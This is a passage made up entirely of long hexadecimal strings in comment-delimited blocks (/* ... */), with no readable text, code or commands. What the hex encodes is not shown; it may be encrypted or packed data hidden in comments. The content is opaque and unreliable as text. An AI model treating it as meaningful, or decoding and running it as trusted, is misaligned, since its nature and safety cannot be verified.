0cad3558942c2847df905416d0d8cd0f9e65f72870465617487ed21044cff09ad183c258682fdbbc5c99a43a7921f79151da25171e775690034232b4aa5348133524eec050a78ea641702a5a9f90d829370b9a7b58e385bea6c698e1f0b848006bad66f0a8981ab72035b3ec0ba0da9741ab93ae2e8314147c8a6c948b85291e3469b1d9a521248ffbe765eaa0a530d50334e2053bfacbaf5ca275bbf57e428308352ae601ecfe0a8931632bc81a0712625fed18b90aafea9bd7732989798914cfef8fde2544aa77d1994c14930048fbef55824f6f0942d1937577062335483fdbeb57eea4501ad7002f91fea7def46b47d10e3762fff114a94d22879e1cd74724a67d6a3ad79140140510465a325d1a6ca7bffbfd5d03c7ed629a8229524320f6ace6c8e1631b359f2e367fec33fd0255b3ce4aeb6b160a0b2b57b752a5e033ad31a44ffc6fd31abf15420fbbf09138c5b3a9cf5381f76b8669775fd434a0e3918571cb96f516e8a577db0bd9b2a4949a34abd1ff0bf4cf34a7aaec6c5b026e991cb480ff368c4f2d72460b94d2848874b3d1f12bf335d17f789c190a3be4ce77d5a47f3ef1fbdc8670330a0caf28b68aa1556e792294e014855fb285f6317a667517bb60fe3f3b00becfc48cb6609c1b9451947da04e708b93e61d974a4f8b180731daefc6e36451a77651bc4c5aab7126d48f0b3aa11c7eb9e4d5ddef11c8a339966bd6e8d1c1643267a7bed033d2c8*/
/*7b9f91f71a707764475cba5ebbb40d684f4df7333eb25b0e12d44104de91ef01503656050a96c341e22d515f09ef9108e03d99e7a206cca0bab2ee7b6c723b37813649ce7ea556301bfde4c2f78fb086d3c0524ef281788d1a42d44de3595fa37fb4c65dfd661456dd336015fb53ae5150f1d54fbb2b249d880b7e3642a46ac51e0d5dc3b0e19d5bb237ea055fabb148fa58bb727e7a599863690dcba887c76b8d1b16dc8c03e5d6685683332274213c29d6fdfe65bdfada7e7bfd0074a7890e727b4547a4672475642130f4807a8070108c473ee4386c910958d47a476190d43e3275f7f571222384abde07275743604db8146ed2a4519fb5207e59eed1984e7635e334ce8f213acbc9fd8caaeb3963d44135812f79ea6770a33bd63482531592c3048eeb0b27e8c0d2247a62f870813cb81ad472a22a18de8d956a0d0d1b27e09d861cd978634fa83ccba33d933092ccd0a233045f2a50c96581e7b64073fc10b140444f905b6816cd21fc57ecf1c03ad6fb4314dc319b9e7c959ab9aa464c5e5d39052bc185ab00322971a2ed221f34773aa57c369c6472c2ad36f2031fd4a413294b41093cf7e22b7b427c7b77b0026a27f82db707d2f0b84f88c8b2e54488cbfd5b518e9df2f8cadd49ad10b40b3bcc561a810667538d6e61a355acbdbc4de141871259a62a0fad740dad64d7b970015a85d6fff4bb5e7a4036ec60a284f2775f0ab450999fb03d72f42515e14fd930045e95ac1737d6669b42a356645227b9558696cde43b1b6339f0e6bfe7560a0c92d3302c942eb7c81e81a3f49fdc2b9291fc73700dafb9af5ab7d521413c1e754e34cda0d274660abbc5c453cfcb1970f8db757f719cba441bb593d1e4827969c6ea00745703f29b34e2bf39ec14531a47310f717ff0d56c120adb258b6378446b7783d9db2d100e2cc28375b00a2b3cddc893b73b4b30e817e19a7a97feb23a9113f646e967eda1e7988b3a7019519065f1f1a003ad86fbc696372947595c0855ea652a2c614bb38bd15fcf6a1d92fd75d825bd3995115377e7964be60027a37787c2e27af39d4cbbac09cec3aa17ff22aabe21e1e52ef2596bd04a0427b4732ec4d6b94260598f4efe243639f1045bc83be390d4754fcea08fcd8113d9cdd993988374d3c1bbfd6d1459cb66788b4030a3085adb67db3912be2001edd7c6b6716cd074b872c754591f7276b285900e9a48e097a01cd9d81ec8a64fa28dd77446074b06b42fcbb376ad655a0080db1c5ce3d213604317defa81d78301de85c9fcce52d21e8793b579e7797518aa930627dbf5523b3f7af0467bd1421897b485629f9fff008d99c9011ab0fd2e7f1a5fc8cc0e1e57868249dc50d5592065ab2ad5ea1066d6300d180cbd2350ed1575d211533fb71586010de9bcaee90d41f8bae5f8537bd115e172f5e02bbe414f732477968460471f48d39d3882a6b3019635b2149ef5dc3c0e69233880a0049ead704c53287c09efbfb7f586fabafef4a1bce78be32f64c8c9908656230605d99bb589e0937d95f9bc24ed7b455479a90792ff9b9ef8163750cf337ba891d04bbda3344526f71be818f8205138f1152d0acfe648cb16a71fd988935c116abd60f8f6a5cbd8898658aace8c4e8c6520e1f15dbe4a221fcfebb68de47499f631d00d1cc1a1fbc17c122b5af3ae330208fd75a6107e31e0f952a99944d746b69c43da912a4c802b70067b77c37c2c5020c2308217c9ebf25418f29daef56ec5ced7f4acd3e8f933db0c8a5cbb00d4da8b36df2cb296f7749f3f53e897ba423b501dc733db49a7be7858f2fa7f233a4bdfe044253f5b56afadcf6ab95d0657c09160ff283a41127d63c1cdf547ca626c615530ce260d5fceaf7606c5d61626abf05c6a85ce523d1bdb3b5b1782848ecd3fcd307ace04be92bbec259b9dc6529425df7ab4b0d551bb4c4333949c9dd0e941f85a21cd19ee72f1f6f688d0c955d04b12882b120123665356864709b2cbc636e1b0e0128c1c2fa3fae3bfca61237cb03714f09d4b50e4b31252d2460a9b2772e99d4fc8d1f19b879f5edc646dbca9b5c49f73bf0600a5d8336e17062d32e6454852b6ef6c606419043238ade0d7eca3f474f31f40a003da3be760b343ae3cf88ef33a63fd4de31555d5affb7616a95fa61958a24485e47f3d71021640d5ab8a16f79ca3d922a535e4525ba1188f4db8135091e0bab186a16d0ee79cdbe597dbbd835aee4c38e5667e8bcf29b6a7d233de4c564e6e8d32311f61600bc22eee561698fd95f3ba2732d85f1752526925e8f87956fb27448899772d98d2877b3386d7ebd431cae81a33604d3a85be90b94724a5340a65dc3a95a83fd3fa1a16599878afdce0eb9e0d9ec8882dd055876c184ebd302841fbb40f5bc9664aa6756b967ac8713129cb5e3d955a72adc3224f7c7ec6c1d594ad1b32343187ff97bf266e24a96a77c4c31f0065ee511c49d72160835b58ae8c17c4ab9c86e9e66500472369279db18608fcb0f97f87b6aa1340f8c279f1bb04d69fb8277448b3032b5b274714d0232eecb790d072e6a5044145cf09520554d9953c5ac2893d4195572ae30d3b57a4bbc4ec9cfc9cac22d47b7a6aeb8ddc1258aaa49c96a07df09294a2102f2f95fd012eb45c6775538a412124fb4aef552d0368daf40ef07d028fe8fee5245a84190dc8ce6393243fc1744e49524a71b9cbfe631e122fe5b4a2b6897948e7d4f4c5bbd6e140a0b677351cbaa06a94e9dff46fda2c28184540f5e6a3aa445fc65d815b36c7898133c198f52bd3db1853b8277797901cfe817b1a937153b58f*/
/*a0ca89ab8b1d40e3723f2de2876b114bf9a3cb7ddc3794f4d9762def26c225e96e1dfdd69dcccb27fb413959e85e9182cc1a80ec12d47e7bc459ec4f52e70a9d9d11e03988396f6cbf68ef39129f0df32c695d2eed2ced0ed7f7926b0472e76f0ae8295230c5c58fe89b2a94c8c9e780dfcc5c8387b76ec968ac7747a0ea10585a14f5f4a08c6d95eb13901e06bce781adb1eb9854047e2110450292d8ee0c1775237f0cb51c5ebef5421b084fb754305a4fdf5d2bffdcca154976041823035ad90db02ca7b3d119e88327190fdd63ffd006e716c2b9f1322287c5c13160cf4a7c269303d74b226ddc351b67b4687e71011445536171e8b0a8b42766869949b78d8b139e61c018e86a774d42552cd376e948453c0397bb9524733229aef8a66f845eae3d103e0f4d613557cbc0f552a620b250277c403fee08f2cb16deb7da2d2f6dc35ef36db73d2d2ccca4c77715def9b2a9ba5e33d8f51ff12f2950e369bd30525e7b19bcf59a1a8a717562d6955fcab0d71d89c7b86fe9230ec77c94ee9041793acc76e1b4e390fd1f8cb08374a15de019b386fe12075aa2c43e668827ec1e710f5d21a868692854593b75992dac9209bf609f68b7507a1083ac66509b2c0db7d18ee59233c8cd427e6d80619880e1d1912061ce3dcb190e664f850e9c938cc09ad5d0736243ef480be196840e3845307990bd85654fbc13419d6cf7440fc29dc6fe24b3fc7e6f587bef320362db521d84704259a4047c2ea5782b738a71add065268256ddd152d24d045e7e1541693637fd1b204c7076e9499ff72a1d015d6858e5bd7765b23b69bf902044b2e69fd2ea16d95334eb8b3c7329529f5df03b49164000c2a9ef55d40485f7e8deac10b35cc938026a139180c335d07177d14a113c66a62ae39bf981dada82e512426107bd40892cbb7c838b2ffe9c9ce36186ee34e66c23e1928ed99425422569ff2c3693461b6e7e062187ebebb93aae9264216675f8ac9834b977500dad627e839bf53874a3685d6a79c87915285badca31660a96458616458a73fe6800f15997d9ada2c72fb0ddb19d34b1227be024f305e49622f0a3bda5941c8191b6bd99e98918e7880b340b02a9c0ce79aa6b2730abed19733dc4c097f48fc638e0a9313ff11a3c843b298349a4026acbaa40da06c9baf445e10fce2cfa00c34c58de2628d485029ed861b89d3a68b687d72b8049446beb767998dea8f7c0ea6bff43ff35673dbd461ae5208fa4327a5eb964925e8f43ada27ff6f4212216c269f3bc2a6406a8d217067c576a04fe2d08b48d48b412650422579beab2e366122a88f33d1bb7e52fa4d3888a640a2bb868de8a4bb7e8d621d68fa2907252229765ec1c1c4c09f66f11f0259ca85936f130024134e52116e5113965778bbdd7b6cc0a841334bd09971cb4d678122d25290ce15d6b6742240253b2ced8e3b9669bba89d86de0dfa5bcae8ffd45aa9df8708120ecec257d19a9ed1965b618492f86bf0679c495a81b09bf60545074ab115affce19fca8df1b8bdeef0e61ca9442a00568324a94b839bd8bd49fa3305f8f8381b5609010fd31ea5ec9f9ef74776eaeb3e5d7135f5adac4e5f43f1a933cc9a219ae998af45693fc0585abf425108229def3830445825b6cf0cd50961b14428f9c1d837fa0499a3cd26387effb78274e637532772d9496e35f744d67e47041663e83f4c385d351dcf04f30017365bd4d24dbac177afc92e3f1f383ab28b80ef291ae3778d652ebda2736e8bf0642d1b9ffacf162927f8f10cd7f8bb3b2dc37a6b6e2ff791287ce45fe8665588de44b5d0fd0800593fc9c53b6c9e4fd065cc1fc9e9a1ec4b9feea53e7fab731cd2b6dcb661ae5864a3f9491dda1f17fc4195666fc194f5776a83631e30375e2488e7145e937fe77ef18310859c3818845261d44d74bf430c8a4a7a8081845686e99c75fd6d623279cfcc265d643a82e743f8e70043a445adf9f3900ab7e8164156cef9e7309c7ec5a2cae9e8a35177a9274c56e8a8ac2ddbd1275f55b308b5f969af5260c763a8024ecb55f972cda6641282e3a45cf151fe8e3f9bd52635adfb0937f32e0fb63b99b7de0757510f5b13622a1c308b36f65675d6b5c1e38856f2dac373f4d34cde83520c41ef70569c8fcb329938e232e0192e306b1821bb8ee7fd3e909d3366309b311547b44cea4bc369ef94ec76b8d4e4bbc3ac1dd355443b36778711b33c6dfa15a2fd4e53f6631ac7f9f52330021d9625db283ff2c08aba5a228d53ecdd28a24a08c7784bdff2565d88a0bc341763bcfd9e21732f8cdf843cc15058900d6c308702c58350427022dbdfe435890f19f0f55b93eb5f582974776f761097caacf4a36dad96f59d9be534c7a7abd4b940f2af54bc58c47fef5f9163974a0ec1a843a57e8be586eed3a0365ccf0bd42f1eb8e3a8765af8bddac53bcceecdc3324433196e2481e47dead36d60a8a0b53d319c24c5dbc5ab34575ddd780165f684fa3018b44b80c49d19f9811ee791a7a85c0e924dbb138541d6f0d3eb50ccfab0c37128b10d0a3ef615177483b631034d609465b1a267e0f1ff5ac69a8a5234542066a4f5d25037b81dcc199abb30cc2eaa643dcc767794c6c9b397e3c9e08f0bbc683b9d12e8e9efa8bfb0b3656b635bab04ce9f6ec44af4184b16375180520a306ddb36424b4543a1e67aaf0b01d5c70d8c81c8b802cc14476dae073d163ef74f2e4218d572db56c4a78b793353b094b520cd78b87334861e0cf68f892b16557c9e580245b0e1b57d07d5feb36bf20309e23cf80ae82d06a860d296b303a70f76aae*/
/*69b1428febc2e629ad801b73bfd1b2d4c3418e59e851d39086615efe7b289e9ead3b01c21d06bbc11335c144ada689e528f166b8c343c872c2e18a59fbfc32dffb70449d4de7b4021e10a5980ea4bab256d3750a8f6ff2b536d75d101d5312d0688e1a3dda5791b5aa7e9bf10b58f9b9762b5e6fb2ca7246fa5a519972a5b4836e0ead5fd3910ed5fdc9dad6e8667b5dbfddf05251c10fe2797f506b0e24b54661f8e4b5db8a52e945db187ceaaea9668ab6c56d0e35c47c97d32797658f3500538a16c20a113df8716370153c2329eec0f7c656c78e984148af3062788ae1ea1a3fa9008307e47a78a84b59b194141074eb134ab00f13bc4743cf975e0caec47360d4dc2f24c2fa5c24137cb138b8380d1f3cf56ece82fa7c77fb3f0eb77c2b91fd311bff4b1b5ecae7ce197830f4e3d8c08bcb21d349e4f7aff091e0f39e06eb094a197e591e95fb596c57b3357afb50afd3f214f590f4e87c4068890a81cbc48c5320e8db5d011c05a608b108101972b1a2c1ac86e7bcb3eb6e6f3e0deb2b8c035e943f14a5fd6bd9ddd012b497bee43b86ce683008a0a994906a356c56ba2c61fcac104cd977bc33d03a97fee6ca04b88ea95a4986c99d42a28515d20fff8479ab6748bfb41acd864661a11525d8e9467241cd9f33acd435c5ddb68304eb0bbded126aed3182679976f6f4150080c654e395fc04db177a2981cab4f5e71f397be4d15ff875be0c4f3f7ef76e38e15f49f8dd647a631660159a3a9d8f3c5fa5f5d68ece26236c52c7a36dfb752b976717d530277f044c1246897b837f86691311c894c7114eb632fc17c62065055cb0c76f4932a7e9644b3edf363da0e0186fc445d04e5a04ab191c0ac0833654a9e2e23744269eabbe3d137fdaace86825409b758e66f6ff04e70eeff6db090b3d5b97ee4fe4b0c8e34e7ab59c05984cfead5fca5fa98292412109b175f1fe69541750598dd819bfe1b5a217819bc7cc30d826622baeeb0602628be140f5af86ebd763a2b0056785531f7cb0b59ff5a22f0a346ebea0cb959e2bfaab9fa0bb7f7666cd6e6d206471cf1c36c63fe04f507d81f21eb99601614485722047702631eb3c782da7df61a3f4e4bae28a085b2a7996cee611281bb3560151eec028fdfbf576f5fe93c6bdae977ccc3fc276919857d88a159023bb0afe6d491ac5a6c68d7f122ae5559fe6d13e453017afa8a5f062b12548c68583af5521e18939738dc2d4e1404028ba3a6958f7b28b9825eeb02143c96f6459ea875af996680c5f5ba09f6cba30070e09dc3abc6033875ed2e2f34d27c8ca7c793be43fdbeb019a526a33eae804a9e98eac317017aeeb2425ec18e8ed2cc41f6593e16520a9f74aa13cf8fceb27070d434ca09b0c8416418e5f039d74568a8f9eea024b64a210c64af86a820f2f35e348bba4cdda4faa58e9a19c4005f48c7399386d9f3f1190f15607fe4c54c17f0ba5fec251043b1e4ce4e1834ae114788eb9cee39fe5cbd21b5e4185ffc0085e5ece554bee4d20def85fc7aeb90247d2993d572088be6a93d4962c1a413046c32267f1c76cfc8efb73cb2198cda31b6f3304bc06c4118fad35c8b459e612ef8f6cfe3c7dd68ead5ec45d2504665300e9685018da12165f4bda06ee965237f2704bd5443967c8548d4c1303489e4e151058717767d22e8a3a822b3568b1e2c3f6a45504793e2cca2606d238604621112534cce1bef15511520e261a922a3b8581aaba8990c0e6bbb065d369bd55282a38b262c696e002cc70352729f37a5bcda26e07bfcb2e6785af7333ba4450d5f5689abf72a564217523bc343e5cc66264afa231ad919f540a381d87c81375b3fe6aee961ef672ed70b55dafc16f7abbe38d66ad79bb9e0a7bdaa0c157016638ece6767fed6e4181cd5acbd847d70261a551dc9b77cc1b6a7b950f9d32f2ee761ba427cb87040a3fea3978e8098c62debe1cf26690e36c5ca77c95acb795bd65e2b2e26410bf09bbcfe51959a50d876daa43d0b9f108590b5fa1a3f976e2ebb8f2b0423a99fe9d54a7ee41164ee1cf7097734f4a29ed32980a7e27c6fa93f0e581d88b05b64c7f927055bb4411f62c2c7e96a345c2f50fdf3d862e87636210a9ef94e0b60c59134e6675282aa5f9583328fa58464a04ba7cbc4023cf20d64f0338bb0112cd8b2159ecbe59a619881c41c50f7448852f2288f9f3e1395c26ce0616a28e5d152c92094f0aa9d9fa05cd3200255070d787eb15f74d82d04268dd85d77335bd6ab785f748dccf2a66b367bbdb687df1d5af22dee739df3aebec2a6c406f685110d56c29b69c37ca888088fc8be6459db8710549d7afaded8ac4884419d39dcf4b5d6b108965ca4c5111dcc39fc6311b6a29d14d720e27212fbdd40eb5ba9f9957fa6bb9f0693a38e755e53d36b9fdab972ea293d32214c4c227ae9c564cb076fd59c7fc9d5232d16c4ca3cc5fd982b7635d426501fb37cc35a4f572181f396f1c4f6e514e018febab7f05e884146c63b0fa8edee49e6f72aef90111b1a58ed13db4fb7e8a41b08ab3dc7c197acd0ae174c4af65614b42c8474806f8a14a56c695fc6e708134876f122ec3f363a65a2272e09486378db7291973855c868ae21773ff809222db280ac1882339de11f131d05be7e3a725625785cd0b96f2b75f6c7d4c20f2c2437673e9b73a9d87012c2aa548b7df82bd773b80843071c2f386ef46515c10c130622caaebd567bdd614d1db86227ac8c64baefe12729065eb150766087f105e8897d9840edcaf220598fa716e1d43a1f59127552def1a2927be709e4d78d3642ffcee4760*/
/*54290da2e2a9c2aa91423db40136fd9f40d618d3748401c7295bddbe04d640fbca89bed0c24b42efb7228573f279ce4affece635999ba18c6bc35bbea54d465d1a3f7f9b61f49be78770d6511decb0dccc9ba6def70719a9f6a260a92590a2b04887a7946ad52d7614f4cb72b408c3fdb2e3f5d961d94c275a7ebadede2c53313228018a8f2682a648cecea5b6f27b7d9bb6fcbdf70442e2ba6784883776f6dd5cf0e8faae32434b73bf4409a4d7ba961b321812c231ff306ab67e1e2dd62b9b8ab3a7a8767ddeb2222fbd6e4150b1e755f22f10bf0b5799e92f760e6ec9a7c8180a757f6b5025beab5493431cb75a5c79446bc8260b7f0dc21bf52e408eb10bc922f4e48abafdda2ffbf72d44e0eaa7f7215c08e6f75b715011eae4da6a3fe9cd54f6bc724dfc0304a91a16f8345b5f2b82d9f7bbfea9710a5b0122b58351ada42484ad85eb834cfabfffe2779ba49d8df2d4c93e627e281344fd57607d8b74ddae0f53d32df4e99e423ee6dfdb3015ae05525e88fc8ab5c8132e3dc56b836fe99b166f5a46c0e2016f37329d2d49ce4eb3b97f5d63953970470cbde37c9353e7b0aa965eb34e5ffc56c8e45c127c79f9900057f4e6277a68e323464cc840f8839a4ea8a49abc4252fd2578db359b6bc92fb0a5ed0261cf6d28859a0b3e13fe42ff866476d58690bfdfbe5ae08bae8815da9eb3700df073c5086c20cd6f68ebe4b31d0538fe67ea3f2ee728b2fcab5194dc45fdfeed8b22c2fd64e16c5e1f8601c229cd119baa071333101363868e77496ebe50784116249bcaeb8b4fbc164363e1e4711b6202612dbe2d6bfaa61a1f4f741c8c2af9a6ca5666e3d9c7003aa68e245b246ef7be3a3f79a7daa0553379babd041d9e7de7cb75110e7705cc61eb9537e6541d0bec65ab1133b5e844d620a0e3779ac65b54c0227d73606292868b086dc25a4747908842b596d3e4e5269c776580aa6285a11f7371bef0eaddb552bb4a7d44638c4a755042d61beb5097bbe042a363399830334a3ab3ea913f47b96064ae9881a5a5b91861fbc0ce978d832333ce55bd4a03f7bf1fc5242190e613261496937d666b2f0c96f6071a8f2350ada26e44de25c6a2d6e963aa0b556d7f9e25964ec877a5d8d8e611c3dc566c9914634db7e8dfa03aa1ccdad9ee1b90e9394d85486cf2b8095fd5a14f34933484357618926e5bcb84ac6e25117ac26485b29184f2b79470d047c24def668a60c3c8d6ffc7ea41cf64ea2625e3f7459250025a55ef7d8a239d35706114f86c40e88a1f05bd25bf5a1e684b8733e775761c81508aea3cdd663f156b4e0598df519084187055fccd24a9d6aa275a12de2ff904122e971367b73f98547d31b4a835d4dbb87cfbd3bfce649a1f1cf1475793733e475039fedb25b155592980101bc72c159fb4042c62f79281c02819eedccba69b8e859a89709cc8b5e2afc53f67885302f5fcddf4140b74a9c2afb15eaa8b2301576a79cd407afca3f3ae0efbec65f9332fc3187ae371a4c096b9925075f7c5145a325fdf68ea160ce951d849c0f71565369b885e42c55d9f3b7e5049046978b75dff4b784982da43558e71c651e73578aaccc5e63a31dc094a05af5c5a8612a2563ce2cd13f2482855f787ad70d18aadcdee7d4db4ba2de12123a5432785bd1836c30bc29a9075f704b5052edd105aa945578d786fd75db481aa38eb03e11eacc29a00a05300c14f6b3d2a67eb1435c12089ac99eba9263131985738ad60aae3583554f2fb6048afc06b9036e95a16ab6732c84c6785421e9cffa79ed3a5188833dbc295317e4ea757474ee980bd73535e6477702d4c88b4d667299c4edbb071a9d75a556f16cc00ed89ed1a4b712f5e1b748a003b9e260edd80b6fa44f08ee068d694ddb136e83faff5a7cb29e63e84a4d32c451da30184a6be8b7dce52c5e61c95204f0cfd7d23f5732b46a092c3c1ab0ee1ba45cdce37b2986baca9676248069868ca06552d732ba5f04a12af7f8b05c4acbc47523c0b271fa48f567efc326c51d2bed45fcbb73c498c9ab79e36e1ad26e254ea20f9dfb5d42f6a4a3d228ec6caa6a0d71a5fafa34cc5c533eaf92a8ca94cd99c10952ca8f89a04d92d059324c06b630e667c932c882bb6f3941d826cf2f24690e2f3e1e1c5171cfd99ec7f2112f70a283ccf926d7d9b75eb7ef851b1736535c04f01d977936c4d1ce4d7dc2fb0bd7a882f730ce387fac47db1430dfc94d838a47989ccef566b84e415a55254b4890ab01baf1b01e1f7b53ef5c69e2e9a38420f08d9359325a8e4ff656ece3b00762218d51a1f98cd97bcf9536f38812e1a27a26fa864e781c49a5dc44c5cb940fb01612ccb7beabb7693fa175ac222bdc3e0808a71fa59d33600e8414b64dd5e733bafd96f4054773bacc6dfa05ce0fe3529b662dd67935e2f2200b2a8618676a61606973d2251596e8c29474454d0325f847584797a225abac74b875830e9271d562e59f6c01eb49ea23cb4a52c765e63cbfc2f7cbe0a6544852c145b8bfbc50837a36c6089e9358788c9844a9cad90f2bf85b13881cb4e54fd599561c7a12b172de15ce6cb0596b438d6b1b75ea563940c55b57ab84963b949e8d76ed9fafa647d6b75e155fcb4d43edb1217f72a11e6ee4e23c3f9d48626bd068c2421199e1db1a2a6f8b2b15f4d31b94f66c1aeaf1fe0515418c8d8bbe7644f3e225affda6460cfa170acee262de59128271ac6473c01d5384e86ef7ce189b14ea6c4a67b0bfee39d11bb9020b9806fd8056aa7a038d3c0e319a3599ad510730d4ba3581307ac28b5879c52f80f3112f80c*/
/*9faca820bb3d3a201491c76a7fa8812d0d6d88277a4d0883d4ec12ca2af41dffa947316f11e604f13cdd76a54a50d88af986bb171ce8cf43bfcfb56180653012c3fa638e1bb526cfc968f50818fedc59577219dae6efce8df7513d1249a831e9b2d2835fe93bd66e16a8d7e029256d0451b168f8fe7e7c0b668974ed71e510cb7aa4055f2254b9f7708c5c1caaf5a662de9c9e3e770b567ed024c8cc97dd7675d6aa286ec5f844579f49a024c68091235eac7bc01695f8d97fd7b2c063bf494d45fa8a8d7d7c4ed3b378a684511a8cce1e3e37388755ccb8ee4ffe8805087b58d019343fc93d89318fdb4ac3d5ccf8ea25cb7674bf56d9ebaa2641aa7cbf2600716ab1a8dafa50015134b5f04054d002d8bcc56c20c24dceba2e1f23f21e0f5abca6ca3f94449e9edf1eb9c553cf72cf86a9b653423d8ee10216ee9fe24a10d8a4f46c7372055b3ebf15fc91761b36155b7f3152fded38d620b4a1a0f7cc5e2bca45c4d85f372e878bd9ef8d655fc08cfd01205f3206b72316911731007442fb2d9b755e8f6b99d49e0a9b56d64d52e4d748a47aa44ddf5761691d44aa0aa6a8dd4437c9355d3a7b3062bd84eaf2262ebf7a7b226952a0e00c25ef62956e5ae11c02d49082bf869f213076dc9eac54cd02f2c141cdb29a4ce0ff73a546a7d7c137d01c6b82e56df31107eab50bbfd7316007f829359b4326f48469f2bd4db839f2e1546f5e3e75a65fc2d9093aeac05c7ab94780f9125b0802b0f0006f7278830f70560166817b4ff9791c9867f7e1dd3638386bf372f9b1f925961a4972f707328a1ad693d6f55e78ed958503a3d6a49580d358d91ffd61813682f61305816da0b3877bda140f0143777e720f72be62f1871f94d4f0eb240f0f9fd97e15f864ef4a0a56afee9c005a85fe3168663577b54608d970c5bfc9123c84becbb17a5a54ec733866c7f1e170bb5ce4c4f9701f8e03ee9347dddda2210de140e2362c3b45f4392fefbff593efa530ad26648579c7380e7731f7db0041d7865723331a85cfdd27b60d5d247d6249b6c4d6065495b6da23fdb9b64c1ba9043a77bcad97b0015fbd66b05a3eda6dd7e201e2ed8f3ebc0a69f9f3e0b598799f3025459e2a66e886912f6e770605612fb50d0fd8e7cb5848ac2df1a8564e15be3ccf495da06dcc82043f86ecf8a29035155a25db56b8cfb315aa700256addf885f4ecffd13925f2845daddbb264b73a9291ba04fd9b35e7d0e872b64fb553da59ffcba5dd9919f91447575010d7ddeb434712ac1af1862c71202964f6c972d9b0911f55c46e613bec473c02176207faeee0e36999ad2e82aef5d635e2c300b55d84d8fc24ae6f6fc79918439ac5e79b6498992e37d62649a6d902dc69c678cda6a36893bae44855b2ee6b8f094b8b1bc0010ec9d793cbc9fd5bebc498c9f6a66facddfc5b3dac85296a67f0512a43a42287751e54b0b6bfc08e84df4d9aaae8b93429ec6f8a90a1e06d7dca6acc42e4ce2feb78696183fa0842c63902969e436e832d5b521c38eeda915f2215cfd3971364519319c0c3eedb0145365c39caa5156b23fa41447e0e9384b4f7f2378f769640b74225edc4cacfe394be7e30e13aa0be53adbbccee2924ad064505f3ab601e2541b196b0820d9c0e394585e084c31b9f1d507caae10c55065cc0f23e92ef4b4ae08776986f7323dc8f18798929498aa624aa5f0d4444cfb4f8e07ebdceb92a30e78420c25f462d42eb434fbbb70522ccea45a59e4a542c146586fc68579b97c512e6ee6203598871e7f7ffcae39b91ec5d854e5afd8963f7555627f3efb63a5a60dc13f4e6958c50d4610ef3c143f6f2b3fe902d178320f6763bcac17248371c00e1060b1eaf16c97f586c3d59aa3f2dff9c261af0d368d488bbc67fdff262b71efdce3c30879f0f0522a82c187c374322d1c4ec7db56e1ec6fc5db2770b78ef259b6c68866ae9d1557e7dcc64943135ee7e21c1bb05edc7dbe1c11b23e6292cc93cf0860d952341367c50b6fca4766f6f75f37e8bc95db12964a7006e599a5b84921728ee122a3b1cf741104f0f9541ca481f7e6b3dcfc7d4c26ce7319335015b789182a834f2438789355f91870c8a7df6a869b6a77eaa52573bb8c7145117843ca93e8f4e0efe292f06561f7730e8549d68ad9dcaa5f158282baa00d3fe47b34613bd691797356108b78d5c7557cd75c4fc0d951fa18b7dfd69ce5433ae5a81638764acab599b29fe7472849588abdf47bde217091fa8511bc254e04cefb39e31d9a5f5a23be64db0a6434c6375260540a6181d35d2e680603ee87b518f560f533e72435461ccd913710d97a78b7c9fd261b9f99e071d3d3f10a9032f5a77028f32d128f2ff2b9d6e80d7ac6fddc4f1aa4fd03e092fb2654a77b701873ee9e2696c5676b1bbd5b5033822164513bc5923acab54cbd9cfcf8223ec875e89ad8e300fa58c40afd7b05977ec5cc7a2f96e67b4fb1ebb0a2fb2e711ea27c88f7d363d8d7ff92f0a6c8ac53b15429dc8611284ac1fb91301d2069b5d9dcbb1db578e14f9d0e3f09b00ae106631024d70970421ca9ae0b06d8d54faff3f65d3fa1c387c418f61631004a8d297c6a1c863742fc41545720d8756f747de09e6063d3d492c9b23c8844bf55af1a3d9b17e094c6f59532e18d40ee990f924a72782060c8311d76a0fe30f760f76fd6ba24b7135ec662563e945e7b1a71174495789c9f594acb5f40fad71a115c0c590503b40c0a1384011aad8bea1816baf1b8059fed5e60c703f1fd6e08bf95a70d13b45daa82eaf58939d4a170685c4d3908bd0c77f9d1a1ce06*/
/*bfda37b3810334b8f566eb969a0128cd922115131f7174153a38edfecc8c208be347d093a2487551e821614d40ec7b0a58534d95b9f98b00769744c03a96458efa9a9b84cfd61b5f3691b59f706dfd71739c82eb259804ea1bb3a66e01ab73cd7c7974580a5aa470fae63d74036a0219409ce67cb27055b50d7498d46d35572128de5f49ff5804603e3db065499c57af3ca429928ff38ba4780e0c1524eb671541a6b49d5b0f55d03fc2e43aa7cbf144ad641738dcc34ef772b9b23669dc1e30d33187c5162265c56b70c61be358f770d3daa750ad1cdd57827a1620c4b1d9ca8283a2f009bd2c83567c1e16fb6a730a21ff591a942d70d90a8884fc0b2b86906d5fc16de3435718d05761e3400ce2fc5f5f9e552d8298b4a5e3aca106c211e8f5aa715a84e1f3b18f60c446a4cef14338da31ebb7653793fef339bd17f958631ef95ad7c7a9f3ee5874fa180b7e37f330ebbb28ba5304e15d1e4bc255974e06e78a74d4e532bb24d8bb2eb2c4acf5b35284f9444e03e7b32d7544579760624a789f8eb21aa7b7cfe79e45d207537927898c40d1dbfadb4d9fb5cc3fd20c360ed7160d8d0360a51b629e13562a68a4abab755ed976fdda90484a49c14acdd71223289a486ef49d1c6bf43d1fb5c14a4d4b2743c14aec7ae830b2888a6b6c2dc959c9cb6c5427c29f59fd8df23350ce8227a68ec533d4ef062067971e83cd580438c716a41a2e0624851115358187ab1a1486e037f313f53a874c1ea92a551423e24d65698aa724cc7aa3190b05c5edf63a91032084cbb6f52da4ec0d2c9f1ec7c9f65e10793b34a160c50775683215ce43e63961e5479bea675301b9bfaa2418ffc2c606eff62e47e8c2da105454491547ba0bee487d94e73e42a51c107d61d6f5e297ba275c6cbe7f52798f33b00c74313e34abff4e0ace0523bc9f2e19fa0434db1da277470a631e040e2bfacbeb7f95b268b5b9af4c40c0326746404dfe826c84f9a84d2306c40724c8fb65d5b5c8b04b76c4c4c70dfad2717a5ef8340d06b4f8923fef4adb743499b51df24c7930bdb6a08436954d7351e1fbedea5b26e607d2b8669871186ae61e389ffc9ac46b60a79677327f0a22ee698e7753a16eb106ea626cec700654609f588d488dc2d3ced38c7e1375dd0b068eb2abd71d8a435fc28324d45e21c835984e2d3305d54373424d86688092c2bc97b28f0d7c3ad643dcace97dec065e648ff7562645ed75da2440ba31f8a9da6ed4d9dcd594e2e664795b6966eccc76589ee41d9d55ebc28162aa50b22a05a7612e8b3ffd40049676447f0db58db7aee25689de8b3cb72310c2fb704eed5e222528a3a50dcd672b4177914989f246a7337b4b6742b199d099679538e891a7971314fbf026761b538ea309174878341e99f0b52caae6a318f6118da13068b16d74516d3b574f583004bde774b5524336f803b3a7d0d9fb211a792e